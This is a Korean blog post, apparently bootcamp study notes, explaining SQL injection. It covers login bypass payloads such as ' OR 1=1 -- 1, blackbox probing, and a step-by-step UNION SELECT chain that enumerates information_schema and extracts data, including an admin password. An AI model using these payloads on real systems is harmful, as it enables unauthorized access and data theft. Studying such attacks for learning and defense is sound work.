프롤로그
메인 강의가 시작되었고, 영상 강의가 제공되었다. 일단 보면서 따라 할까 했는데, 개념 중요한 건 정리하고 가는 게 맞는 거 같아서 정리한다.
메리 크리스마스..
SQL Injection
SQL 구문을 주입할 수 있는 취약점이다.
사용자의 입력값을 어떠한 검수도 하지 않고 그대로 쿼리에 바로 넣어서 실행하게 되었을 때 발생하게 되는데, 데이터베이스에서 쿼리를 임의로 실행하여 원하는 값을 추출할 수 있게 된다.
로그인 페이지로부터 사용자 id와 pw 를 입력받는 폼이 있다고 가정해보자.
그리고 POST요청을 하게 되면 서버로부터 id와 pw를 그대로 받아가게 될 것이다.
SELECT * FROM users WHERE id=‘$user_id’ and pw = ‘$user_pw’
이런 코드가 있다고 쳤을 때,
user_id부분에다가 guest, user_pw 부분에다가 guest를 입력했을 때
실제로 아이디가 guest, 비밀번호가 guest인 사람을 찾아서 해당 유저가 존재한다면 로그인에 성공하게 되는 시스템이다.
다만 사용자의 입력값을 그대로 사용한다는 점이 여기서 중요하다.
만약에 사용자 입력값에 주석을 넣는다면? 그거 그대로 주석도 입력이 처리 된다는 것이다.
SQL 문에서 주석을 사용하는 방법은 두 가지가 있다.
--
/* */
# (MySQL 한정)
이렇게 3가지가 있는데, 만약에 id에다가 guest'-- 을 입력하고 비밀번호에 아무값이나 입력하게 된다면 쿼리가 어떻게 바뀌게 되는가?
id = guest'--
pw = 1
아이디가 guest인 사람에다가 비밀번호도 확인해야하는데, 뒷 부분이 주석처리되어 아이디만 있으면 해당 정보를 가져올 수 있게 되었다.
만약에 해커가 아이디로 모른다고 가정했을 때에 어떻게 처리할 수 있을까?
id = ' or 1=1 --
pw = 1
를 입력해보면
id는 비어있지만, or조건 뒤에 모든 조건이 참으로 설정해 두었기에 데이터베이스에 모든 값들을 가져오게 된다.
그러면 그래서 어떤 값으로 로그인이 되냐?
테이블에서 저장되어 있는 맨 위의 값을 가져오게 된다.
그렇기에 그 다음 것을 가져오기 위해서는 뒤에 limit 1, 1 / limit 2, 1이런식으로 다음 인덱스들을 가져오게 되면 다른 유저들로 로그인을 진행할 수가 있다
SQL Injection 테스트
1. Whitebox
Whitebox Testing은 시스템 내부 구조와 소스코드를 알고 있는 상태에서 SQL Injection 취약점을 테스트 하는 방식이다.
소스코드, 내부 구현, 데이터베이스 스키마 등을 내부 정보를 알고 있기 때문에 소스 코드를 읽고 어디 부분이 취약하겠구나 판단을 한다음에 처리를 할 수 있다.
2. Blackbox
Blackbox Testing은 시스템의 내부 구조를 모르는 상태에서 외부 입력과 출력만으로 SQL Injection 취약점을 테스트 하는 방식이다.
오로지 UI, API, URL, 입력필드만으로 탐색하는 과정인데,
특수 문자들 (', ", #, --, \) 들을 서버에 넣다보면 서버에서 500 에러를 내보낸다(Internal Server Error) 이것을 통해서 지금 SQL 인젝션이 가능한지 알 수가 있다.
아니면 브루트포스를 SQL 인젝션이 가능한 모든 쿼리를 넣어봐서 진행하는 방법도 있다.
실습
한 가지 팁이 있다.
분명 아이디 부분에다가
' OR 1=1 --
을 넣으면 된댔는데 자꾸 오류가 발생한다.
그런데
' OR 1=1 -- 1
을 입력하면 멀쩡히 잘 작동한다
아마 원래 구문이
SELECT * FROM users WHERE id='' or 1=1 -- ' and pw='1'
이거가 될테고, 뒷부분은 전부 주석처리가 되는게 맞는데, 주석 바로 뒤에 '가 있으면 주석으로 바로 인식이 안 되는 것 같다. 그래서 아예 뒤에다가 문자 1을 넣어버려서 주석이라고 확실시 하면 되는게 아닌가 싶다.
Union select SQL injection
Union Select라는 SQL 기법을 이용한 인젝션 기법이다.
쿼리의 결과값이 화면에 출력될 때 유용하게 사용된다. 예를 들면 검색, 게시글 보기 등등이 존재한다.
실제 환경에서 가장 많이 발생하는 취약점이고 많은 해커들이 사용한다.
그럼 Union이 뭔가?
Untion쿼리는 두 개 이상의 SELECT 쿼리 결과를 하나로 결합하는 데 사용한다. 결합된 결과는 중복을 제거한 후 반환된다.
기본 문법으로는
SELECT column1, column2 FROM table1
UNION
SELECT column1, column2 FROM table2;
이렇게 사용되며, 각 SELECT 쿼리는 동일한 열 수를 가져야한다.
앞 부분 select 내용 뒤에 뒷 부분 select가 이어져서 붙여져서 나온다.
이것을 이용하는 게 Union select SQL injection 이다.
원래라면 저기에 title, content, user을 index에 번호를 입력하면 가져오는 건데, union으로 1, 2, 3을 가져오게 만들어놨다.
저 1, 2, 3 부분에다가 user의 password같은 민감한 정보를 설정하게 되면 비밀번호 등의 정보들을 가져올 수 있게 되는데, union을 이용했기에 이렇게 사용되는 것이다.
SELECT title, content, user from board where idx = -1 union SELECT 1, password, 3 from users WHERE id="admin"
이런식으로 사용하면 admin의 비밀번호를 획득을 할 수가 있다.
SQL Subquery
서브쿼리란 쿼리 내에서 또 다른 쿼리를 실행시키는 방식이다. 쿼리를 중첩시킨다는 느낌인데,
기본 구조는 다음과 같다.
SELECT column1
FROM table1
WHERE column2 = (SELECT column3 FROM table2 WHERE condition);
이런식으로 쓰는데
$a = SELECT team_id FROM player where name ='A'
SELECT nams from player where team_id=$a
이 두 개를 합친다고 한다면
SELECT name FROM player where team_id=(SELECT team_id FROM player where name='A');
이렇게 ()을 묶어서 내부에다가 쿼리를 넣을 수가 있다.
아까 Union이랑 같이 합쳐본다면
SELECT title, content, user from board where idx = -1 union SELECT 1, password, 3 from users WHERE id="admin"
이 코드에다가 서브 쿼리를 합친다면
SELECT title, content, user from board where idx = -1 union SELECT 1,
(SELECT password from users WHERE id="admin"), 3;
이런식으로 사용할 수 있다.
UNION Injection 수행 과정
1. SQL Injection이 되는지 확인하기
위쪽에서
특수 문자들 (', ", #, --, \) 들을 서버에 넣다보면 서버에서 500 에러를 내보낸다(Internal Server Error) 이것을 통해서 지금 SQL 인젝션이 가능한지 알 수가 있다.
이렇게 얘기했었는데, 그래서 특수문자를 입력해보는 거다. 가장 확실한 건, ' 또는 " 입력해보는 것
만약에 이것을 했는데 500에러 등이 떴다면 SQL 인젝션이 가능하다는 의미이다.
2. 칼럼의 개수 찾기
그 다음에 해볼것은 칼럼의 개수를 찾는 것이다.
SELECT title, content, user from board where idx = '$idx'
에서 저기 SELECT와 WHERE 사이에 있는 저게 몇 개 인지 모르기에 우리는
-1 union SELECT 1 --
-1 union SELECT 1, 2 --
-1 union SELECT 1, 2, 3 --
이런식으로 에러가 뜨지 않을 떄까지 해봐서 칼럼의 개수를 확인해간다.
위대로 입력을 한다면
SELECT title, content, user from board where idx = -1 union SELECT 1
SELECT title, content, user from board where idx = -1 union SELECT 1, 2
SELECT title, content, user from board where idx = -1 union SELECT 1, 2, 3
이렇게 수행이 될 것인데, 맨 마지막 줄이 SELECT 문에서 칼럼의 개수가 맞으므로 저것만 오류가 나지 않고 실행이 된다. 이것으로 칼럼의 개수가 일치하는 것을 확인할 수 있다.
3. SQL 종류 확인하기
MSSQL같은 경우에는 무조건 sys라는 데이터베이스가 존재하고,
MySQL, Maria db, oracle 은 information_schema라는 데이터베이스가 무조건 존재하고
Sqlite는 sqlite_master라는 데이터베이스가 필연적으로 존재한다.
그러니까, 서브 쿼리로 SELECT 문 하나 만들어서 from 뒤에 저 데이터베이스들을 하나씩 입력해본다면, 어떤 데이터베이스를 사용하고 있는지 확인할 수가 있다.
SELECT * from board where idx=-1 union SELECT 1, (SELECT 1 from information_schema), 3
이런식으로 사용이 가능하고, 만약에 저게 오류가 없었다면 Maria db, oricle , MySQL 데이터베이스일 가능성이 높은 것이다.
지금 부터는 전부 MySQL로 특정하고 밑에 작성하겠다.
4. DB 정보 추출
MySQL안에는 information_schema라는 애로 DB 정보를 추출할 수가 있다.
안에는 여러가지 테이블들이 존재하는데
- TABLES (어떤 테이블들이 있는가)
- COLUMNS (어떤 칼럼들이 있는가)
- SCHEMATA (어떤 데이터베이스가 있는가)
- ENGINES
등등이 있따...
사용을 하려면
information_schema.SCHEMATA
information_schema.TABLES
이런식으로 사용한다.
그렇기에 최종 코드는
select * from SCHEMATA;
select * from information_schema.tables;
select table_name from information_schema.tables where TABLE_SCHEMA="A";
그러니까
이제 정리를하자면
SCHEMATA로 데이터 베이스를 추출하고,
그 다음에 해당 데이터베이스의 테이블들을 추출을 하고
우리가 필요한 정보는 이미 테이블을 추출했으니까 칼럼으로 추출을 하는 것이다.
5. 데이터베이스 추출
' union select 1, (select schema_name from information_schema.SCHEMATA limit 1, 1), 3 -- 1
이걸 작성한다.
위에서 SCHEMATA 안에 이제 데이터베이스 정보가 들어있었다고 했고, limit로 인덱스 찾아오는 거고, 그리고
schema_name으로 데이터베이스 이름을 진짜로 들고온다.
6. 테이블 추출하기
데이터베이스는 A이라는 것을 위에서 알았다.
이제 테이블을 추출해야한다.
TABLE_CATALOG | 테이블이 속한 데이터베이스 카탈로그(일부 DBMS에서는 사용하지 않을 수 있음). |
TABLE_SCHEMA | 테이블이 속한 스키마 이름. |
TABLE_NAME | 테이블 이름. |
TABLE_TYPE | 테이블 유형: BASE TABLE(일반 테이블) 또는 VIEW(뷰). |
ENGINE | (MySQL 전용) 테이블에 사용된 스토리지 엔진(e.g., InnoDB, MyISAM). |
VERSION | (MySQL 전용) 테이블 버전. |
ROW_FORMAT | (MySQL 전용) 테이블의 행 저장 형식(e.g., Compact, Dynamic). |
TABLE_ROWS | 테이블에 있는 행(row)의 예상 개수. |
CREATE_TIME | 테이블이 생성된 시간. |
UPDATE_TIME | 테이블이 마지막으로 갱신된 시간. |
TABLE_COLLATION | 테이블에서 사용되는 기본 문자열 정렬 규칙(e.g., utf8_general_ci). |
DATA_LENGTH | 테이블의 데이터 크기(바이트). |
INDEX_LENGTH | 인덱스 크기(바이트). |
TABLE_COMMENT | 테이블 주석. |
테이블이름이 필요하기 떄문에 table_name으로 설정해주면 되겠고,
테이블이 속한 스키마(데이터베이스) 이름을 알려주기 위해서
table_schema = "A"으로 설정을 해주어야한다.
' union select 1,
(select table_name from information_schema.tables where table_schema="A" limit 0, 1),
3 -- 1
테이블 이름은 B 라는 것을 알았다.
7. 칼럼 추출하기
테이블은 B라는 것을 알았다.
이제 칼럼을 추출해야한다.
TABLE_CATALOG | 열이 속한 데이터베이스 카탈로그(일부 DBMS에서는 사용하지 않을 수 있음). |
TABLE_SCHEMA | 열이 속한 스키마 이름. |
TABLE_NAME | 열이 속한 테이블 이름. |
COLUMN_NAME | 열 이름. |
ORDINAL_POSITION | 테이블에서 열의 순서 (1부터 시작). |
COLUMN_DEFAULT | 열의 기본값 (없으면 NULL). |
IS_NULLABLE | 열이 NULL 값을 허용하는지 여부 (YES 또는 NO). |
DATA_TYPE | 열의 데이터 유형 (예: VARCHAR, INT, DATE). |
CHARACTER_MAXIMUM_LENGTH | 문자열 데이터 유형에서 열의 최대 길이 (예: VARCHAR(255)에서 255). |
NUMERIC_PRECISION | 숫자 데이터 유형에서 유효 자릿수 (예: DECIMAL(10, 2)에서 10). |
NUMERIC_SCALE | 숫자 데이터 유형에서 소수점 이하 자릿수 (예: DECIMAL(10, 2)에서 2). |
CHARACTER_SET_NAME | 문자열 데이터의 문자 집합 (예: utf8). |
COLLATION_NAME | 문자열 데이터의 정렬 규칙 (예: utf8_general_ci). |
COLUMN_TYPE | 열의 전체 데이터 유형 및 크기 정보 (MySQL 전용, 예: int(11) 또는 varchar(255)). |
EXTRA | 추가 속성 (예: auto_increment, on update CURRENT_TIMESTAMP). |
WHERE 에 Table_name="B"하면 될 것이고
칼럼 이름들이 필요하기 떄문에
column_name을 통해서 가져오면 될 것이다.
' union select 1,
(select column_name from information_schema.columns where table_name="B" limit 0, 1),
3 -- 1
이렇게 입력을 하게 되면
즉, 칼럼은 C이다.
8. 데이터 확인하기
A > B > C 까지 왔으니, 이제 해당 칼럼에 어떤 데이터가 있는지 혹인해보자.
‘ UNION SELECT 1,
(select C from A.`B`), 3 – 1
{}이 중괄호에 SQL쿼리에 영향을 미칠까봐 ` 이걸로 감싸서 처리했다.
이런식으로 진행하게 된다.
이런식으로 Union SELECT SQL Injection 을 진행하는 것이다.
에필로그
실습 그대로가 문제풀이일줄을 몰라서 싹다 바꾸고 이제 write-up을 작성하겠다. write-up은 비공개로 하겠다.
'KnockOn' 카테고리의 다른 글
[KnockOn] 1.2 SQL Injection - DB Write-up (0) | 2024.12.27 |
---|---|
[KnockOn] 1.1 SQL Injection - Login Write-up (0) | 2024.12.27 |
[3주차 TIL] KnockOn Bootcamp PHP 게시판 글 검색 (0) | 2024.12.23 |
[3주차 TIL] KnockOn Bootcamp PHP 게시판 수정 및 삭제 (1) | 2024.12.22 |
[3주차 TIL] KnockOn Bootcamp PHP 게시판 생성 및 조회 (0) | 2024.12.22 |